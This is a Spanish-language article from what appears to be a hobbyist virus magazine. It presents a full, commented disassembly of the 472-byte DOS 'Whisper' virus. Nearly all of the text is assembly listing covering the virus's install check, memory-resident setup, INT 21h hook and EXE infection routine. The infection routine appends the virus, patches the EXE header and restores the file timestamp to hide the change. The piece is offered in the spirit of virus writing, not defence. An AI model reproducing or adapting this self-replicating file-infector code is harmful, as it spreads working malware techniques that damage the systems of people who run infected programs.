home *** CD-ROM | disk | FTP | other *** search
- ε;;---- COMENTARIO DEL VIRUS W H I S P E Rπ
- ε -------------π
-
- Γ;; Y aquí el segundo virus de nuestra revista (maravillosa, exitosa, etc. etc.π
- Γ;; etc. Viva la modestia! :). Este es un virus un poco patatero, pero que sa-π
- Γ;; le al paso. Como ya es costumbre, completamente desensamblado y comentado.π
- Γ;; Inexplicablemente famoso (los hay miles mucho mejores), este viraco infec-π
- Γ;; ta EXEs en ejecución... y pare usted de contar. Bueno, qué querreis en 472π
- Γ;; bytes, ¿eh? π
-
-
- ∞ Líyak el Oscuroπ
-
- σ;; FICHA TÉCNICA DEL VIRUS:π
- σ;;-------------------------π
-
- σ;; - Infección de EXEs en ejecución, no superiores en tamaño a 64833 bytes.π
- σ;; - No tiene efecto. Se limita a copiarse.π
- σ;; - Y fín (patatero, patatero...) π
-
-
- 0E10:2000 E80000 CALL 2003 Σ ; Obtención de SI y donde co- π
- 0E10:2003 5E POP SI Σ ; mienza el virus π
- 0E10:2004 83EE03 SUB SI,+03
- 0E10:2007 B8CE7B MOV AX,7BCE Σ ; Install-check π
- 0E10:200A CD21 INT 21
- 0E10:200C 3DCE7B CMP AX,7BCE
- 0E10:200F 7517 JNZ 2028
-
- Σ ; Aquí si está instalado. π
- 0E10:2011 0E PUSH CS
- 0E10:2012 1F POP DS Σ ; CS = DS π
- 0E10:2013 81C6AC01 ADD SI,01AC Σ ; Pasa lo que hay de DS:SI a π
- 0E10:2017 BFAC01 MOV DI,01AC Σ ; ES:DI, y copia 10 bytes π
- 0E10:201A B90A00 MOV CX,000A
- 0E10:201D FC CLD
- 0E10:201E F3 REPZ
- 0E10:201F A4 MOVSB
-
- 0E10:2020 06 PUSH ES Σ ; ES = DS π
- 0E10:2021 1F POP DS
-
- 0E10:2022 06 PUSH ES
- 0E10:2023 B87600 MOV AX,0076 Σ; Salta a ES:0076 (aquí, :2076) π
- 0E10:2026 50 PUSH AX
- 0E10:2027 CB RETF
-
- Σ; Instalación en memoria π
- 0E10:2028 B448 MOV AH,48
- 0E10:202A BB1F00 MOV BX,001F Σ; Reserva 31 párrafos de memoriaπ
- 0E10:202D CD21 INT 21 Σ; RAM para su instalación π
- Σ; En AX el segmento de memoria π
- 0E10:202F 7312 JNB 2043 Σ; Si hay CF π
-
- 0E10:2031 8CD8 MOV AX,DS Σ; Obtiene en el MCB la cantidad π
- 0E10:2033 48 DEC AX Σ; de memoria que está gastando π
- 0E10:2034 8ED8 MOV DS,AX Σ; el programa π
- 0E10:2036 8B1E0300 MOV BX,[0003]
- 0E10:203A 83EB20 SUB BX,+20 Σ; Le resta 20 párrafos π
- 0E10:203D B44A MOV AH,4A Σ; Modifica la memoria obtenida π
- 0E10:203F CD21 INT 21 Σ; antes mediante la función 48h π
- 0E10:2041 EBE5 JMP 2028 Σ; Hace un Loop hasta que da un π
- Σ; fallo en la función 48h π
-
- 0E10:2043 48 DEC AX Σ; AX - 1 = Dirección del MCB π
- 0E10:2044 8EC0 MOV ES,AX Σ; Es ES el MCB π
- 0E10:2046 26 ES:
- 0E10:2047 C70601000800 MOV WORD PTR [0001],0008Σ ; Esto es el PSP asociadoπ
- 0E10:204D 40 INC AX Σ; En ES otra vez el segmento π
- 0E10:204E 8EC0 MOV ES,AX
-
- 0E10:2050 33FF XOR DI,DI Σ; Copia 01B6 bytes desde DS:SI π
- 0E10:2052 0E PUSH CS Σ; a ES:DI π
- 0E10:2053 1F POP DS
- 0E10:2054 B9B601 MOV CX,01B6
- 0E10:2057 FC CLD
- 0E10:2058 F3 REPZ
- 0E10:2059 A4 MOVSB
-
- 0E10:205A 06 PUSH ES Σ; Ahora salta... π
- 0E10:205B B86000 MOV AX,0060
- 0E10:205E 50 PUSH AX
- 0E10:205F CB RETF
-
- 0E10:2060 0E PUSH CS Σ; ...aquí en su copia en memoriaπ
- 0E10:2061 1F POP DS
- 0E10:2062 B82135 MOV AX,3521 Σ; Obtiene los vectores de la π
- 0E10:2065 CD21 INT 21 Σ; interrupción 21h π
- π
- 0E10:2067 891EAF00 MOV [00AF],BX Σ; Los guarda en una zona de da- π
- 0E10:206B 8C06B100 MOV [00B1],ES Σ; tos por el medio del virus π
- 0E10:206F B425 MOV AH,25 Σ; Engancha la int 21h a su códi-π
- 0E10:2071 BAD000 MOV DX,00D0 Σ; go. π
- 0E10:2074 CD21 INT 21
-
- Σ;;;;;;;;;;;;;;;;;; EJECUCION DEL .EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
-
- 0E10:2076 16 PUSH SS Σ; Coge el SS π
- 0E10:2077 58 POP AX Σ; Lo pone en AX π
- 0E10:2078 0306B401 ADD AX,[01B4] Σ; Le suma lo contenido en :01B4 π
- Σ; Es un dato que cogió al infec-π
- Σ; tar el virus y lo guarda al π
- Σ; final del archivo. π
- 0E10:207C A3AD00 MOV [00AD],AX Σ; Lo guarda en :20AD π
- 0E10:207F A1B201 MOV AX,[01B2] Σ; Coge lo de :01B2 π
- 0E10:2082 A3AB00 MOV [00AB],AX Σ; Lo pone en :00AB π
- 0E10:2085 16 PUSH SS Σ; AX = SS π
- 0E10:2086 58 POP AX
- 0E10:2087 2D1000 SUB AX,0010 Σ; Le resta 10h π
- 0E10:208A 8EC0 MOV ES,AX Σ; ES = DS = AX π
- 0E10:208C 8ED8 MOV DS,AX
- 0E10:208E 16 PUSH SS Σ; AX = SS anterior π
- 0E10:208F 58 POP AX
- 0E10:2090 2E CS: Σ; A AX le suma lo contenido en π
- 0E10:2091 0306AC01 ADD AX,[01AC] Σ; :21AC π
- 0E10:2095 FA CLI Σ; Cambia el puntero SS:SP al π
- 0E10:2096 8ED0 MOV SS,AX Σ; originalπ
- 0E10:2098 2E CS:
- 0E10:2099 8B26AE01 MOV SP,[01AE]
- 0E10:209D FB STI
-
- 0E10:209E 33C0 XOR AX,AX Σ; AX = 0 π
- 0E10:20A0 33DB XOR BX,BX Σ; BX = 0 π
- 0E10:20A2 33C9 XOR CX,CX Σ; CX = 0 π
- 0E10:20A4 33D2 XOR DX,DX Σ; DX = 0 π
- 0E10:20A6 33F6 XOR SI,SI Σ; SI = 0 π
- 0E10:20A8 33FF XOR DI,DI Σ; DI = 0 π
-
- 0E10:20AA EA54ADD620 JMP 20D6:AD54 Σ; Puntero restablecido antesπ
-
- Σ; Datos y mensaje π
- 0E10:20AF 831022 ADC WORD PTR [BX+SI],+22
- 0E10:20B2 D85B57 FCOMP DWORD PTR [BP+DI+57]
- 0E10:20B5 68 DB 68 Σ; El mensaje es: π
- 0E10:20B6 69 DB 69 Σ; '[Whisper presenterar Tai-Pan]'π
- 0E10:20B7 7370 JNB 2129
- 0E10:20B9 65 DB 65
- 0E10:20BA 7220 JB 20DC
- 0E10:20BC 7072 JO 2130
- 0E10:20BE 65 DB 65
- 0E10:20BF 7365 JNB 2126
- 0E10:20C1 6E DB 6E
- 0E10:20C2 7465 JZ 2129
- 0E10:20C4 7261 JB 2127
- 0E10:20C6 7220 JB 20E8
- 0E10:20C8 54 PUSH SP
- 0E10:20C9 61 DB 61
- 0E10:20CA 69 DB 69
- 0E10:20CB 2D5061 SUB AX,6150
- 0E10:20CE 6E DB 6E
- 0E10:20CF 5D POP BP
-
- Σ;;;;;;;;;;;;;;;;;;;;;;; NUEVA INTERRUPCION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
-
- 0E10:20D0 3DCE7B CMP AX,7BCE Σ; Si AX es 7BCE, pone en ES el π
- 0E10:20D3 740D JZ 20E2 Σ; CS del virus y hace un IRET π
-
- 0E10:20D5 3D004B CMP AX,4B00 Σ; Si es la función de ejecución π
- 0E10:20D8 7503 JNZ 20DD Σ; procede con la rutina de infec-π
- 0E10:20DA E80800 CALL 20E5 Σ; ción y sigue después con la int.π
- 0E10:20DD 2E CS:
- 0E10:20DE FF2EAF00 JMP FAR [00AF]
- 0E10:20E2 0E PUSH CS
- 0E10:20E3 07 POP ES
- 0E10:20E4 CF IRET
-
- ;;; Rutina de infección
-
- 0E10:20E5 50 PUSH AX
- 0E10:20E6 53 PUSH BX
- 0E10:20E7 51 PUSH CX
- 0E10:20E8 52 PUSH DX
- 0E10:20E9 1E PUSH DS Σ ; Guarda Stack π
- 0E10:20EA B8023D MOV AX,3D02 Σ ; Abre el archivo (ni siquiera seπ
- 0E10:20ED CD21 INT 21 Σ ; molesta en quitar atributos) π
-
- 0E10:20EF 7303 JNB 20F4 Σ ; Si error π
- 0E10:20F1 E9B200 JMP 21A6
-
- 0E10:20F4 8BD8 MOV BX,AX Σ ; En BX el Handle π
- 0E10:20F6 B43F MOV AH,3F Σ ; Ahora lee 18h (24) bytes. π
- 0E10:20F8 BAB601 MOV DX,01B6
- 0E10:20FB 0E PUSH CS
- 0E10:20FC 1F POP DS
- 0E10:20FD B91800 MOV CX,0018
- 0E10:2100 CD21 INT 21
-
- 0E10:2102 813EB6014D5A CMP WORD PTR [01B6],5A4DΣ ; Comprueba si es EXE. π
- 0E10:2108 7527 JNZ 2131 Σ; Si no es, sale π
- π
- 0E10:210A B80242 MOV AX,4202 Σ; Sitúa el puntero al final π
- 0E10:210D 33C9 XOR CX,CX
- 0E10:210F 33D2 XOR DX,DX
- 0E10:2111 CD21 INT 21
- 0E10:2113 3D41FD CMP AX,FD41 Σ; Comprueba que el tamaño no ex-π
- 0E10:2116 7719 JA 2131 Σ; ceda de FD41h bytes π
-
- 0E10:2118 0BD2 OR DX,DX Σ; Y que sea un EXE de sólo un π
- 0E10:211A 7515 JNZ 2131 Σ; segmento π
- 0E10:211C 50 PUSH AX Σ; Guarda el tamaño π
- 0E10:211D 8B16BE01 MOV DX,[01BE] Σ; Coge el word en +08 en la ca-π
- Σ; becera (el tamaño de la cabe-π
- Σ; cera en párrafos) π
- 0E10:2121 B104 MOV CL,04 Σ; Lo multiplica por 16 π
- 0E10:2123 D3E2 SHL DX,CL π
- 0E10:2125 2BC2 SUB AX,DX Σ; Resta a AX el tamaño de la ca-π
- Σ; becera π
- 0E10:2127 2DB601 SUB AX,01B6 Σ; Le resta después el tamaño delπ
- Σ; virus π
- 0E10:212A 3B06CA01 CMP AX,[01CA] Σ; Comprueba si esto es igual alπ
- 0E10:212E 58 POP AX Σ; registro IP π
- Σ; Mira si está infectado restan-π
- Σ; do al tamaño del archivo la π
- Σ; cabecera y el tamaño del virusπ
- Σ; y mirando después si el IP delπ
- Σ; puntero de inicio de la cabe-π
- Σ; cera apunta al inicio del vi-π
- Σ; rus. π
-
- 0E10:212F 7502 JNZ 2133 Σ; Si no es, continúa π
- 0E10:2131 EB6F JMP 21A2
-
- 0E10:2133 52 PUSH DX Σ; Guarda DX y AX π
- 0E10:2134 50 PUSH AX
- 0E10:2135 B80057 MOV AX,5700 Σ; Obtiene la fecha del archivo π
- 0E10:2138 CD21 INT 21
-
- 0E10:213A 890EAB00 MOV [00AB],CX Σ; La guarda. π
- 0E10:213E 8916AD00 MOV [00AD],DX
- 0E10:2142 B440 MOV AH,40 Σ; Copia el virus al final del π
- 0E10:2144 B9AC01 MOV CX,01AC Σ; archivo. π
- 0E10:2147 33D2 XOR DX,DX
- 0E10:2149 CD21 INT 21
- 0E10:214B B440 MOV AH,40 Σ; Copia al final del archivo losπ
- 0E10:214D B90A00 MOV CX,000A Σ; bytes 0Eh-18h de la cabecera π
- 0E10:2150 BAC401 MOV DX,01C4 Σ; Como hace esto, después es muyπ
- 0E10:2153 CD21 INT 21 Σ; fácil desinfectarlo. π
-
- 0E10:2155 58 POP AX Σ; Saca AX y lo guarda π
- 0E10:2156 50 PUSH AX
- 0E10:2157 05B601 ADD AX,01B6 Σ; Le suma al tamaño del archivoπ
- Σ; el tamaño del virus π
- 0E10:215A 33D2 XOR DX,DX Σ; Pone DX a 0 π
- 0E10:215C B90002 MOV CX,0200 Σ; Divide AX entre 512 para sa- π
- 0E10:215F F7F1 DIV CX Σ; ber el tamaño del archivo π
- Σ; DIV 512 para la cabecera. π
- 0E10:2161 40 INC AX Σ; Le suma 1 para redondearlo. π
-
- 0E10:2162 A3BA01 MOV [01BA],AX Σ; Pone en +04h el tamaño DIV 512π
- 0E10:2165 8916B801 MOV [01B8],DX Σ; En +02h el resto de la divi- π
- Σ; sión. π
-
- 0E10:2169 C706C4010000 MOV WORD PTR [01C4],0000 Σ; En +0Eh, 0 (nº máx. deπ
- Σ; párrafos o SS inicial)π
- 0E10:216F C706C601FFFF MOV WORD PTR [01C6],FFFF Σ; En +10h, -1 (contenidoπ
- Σ; del registro SP) π
- 0E10:2175 C706CC010000 MOV WORD PTR [01CC],0000 Σ; En +12h, 0 (CRC check)π
-
- 0E10:217B 58 POP AX Σ; En AX el tamaño del archivo sin virusπ
- 0E10:217C 5A POP DX Σ; En DX el tamaño de la cabecera π
- 0E10:217D 2BC2 SUB AX,DX Σ; En AX el tamaño real del archivo π
- 0E10:217F A3CA01 MOV [01CA],AX Σ; En +14h, AX (nuevo puntero) π
- 0E10:2182 B80042 MOV AX,4200 Σ; Puntero al inicio π
- 0E10:2185 33C9 XOR CX,CX
- 0E10:2187 33D2 XOR DX,DX
- 0E10:2189 CD21 INT 21
- 0E10:218B B440 MOV AH,40 Σ; Copia la cabecera modificada π
- 0E10:218D B91800 MOV CX,0018
- 0E10:2190 BAB601 MOV DX,01B6
- 0E10:2193 CD21 INT 21
- 0E10:2195 B80157 MOV AX,5701 Σ; Restaura la fecha π
- 0E10:2198 8B0EAB00 MOV CX,[00AB]
- 0E10:219C 8B16AD00 MOV DX,[00AD]
- 0E10:21A0 CD21 INT 21
- 0E10:21A2 B43E MOV AH,3E Σ; Cierra el handleπ
- 0E10:21A4 CD21 INT 21
- 0E10:21A6 1F POP DS Σ; Recupera Stackπ
- 0E10:21A7 5A POP DX
- 0E10:21A8 59 POP CX
- 0E10:21A9 5B POP BX
- 0E10:21AA 58 POP AX
- 0E10:21AB C3 RET Σ; Retornaπ
-
- Σ;; Y s'acabó.π
-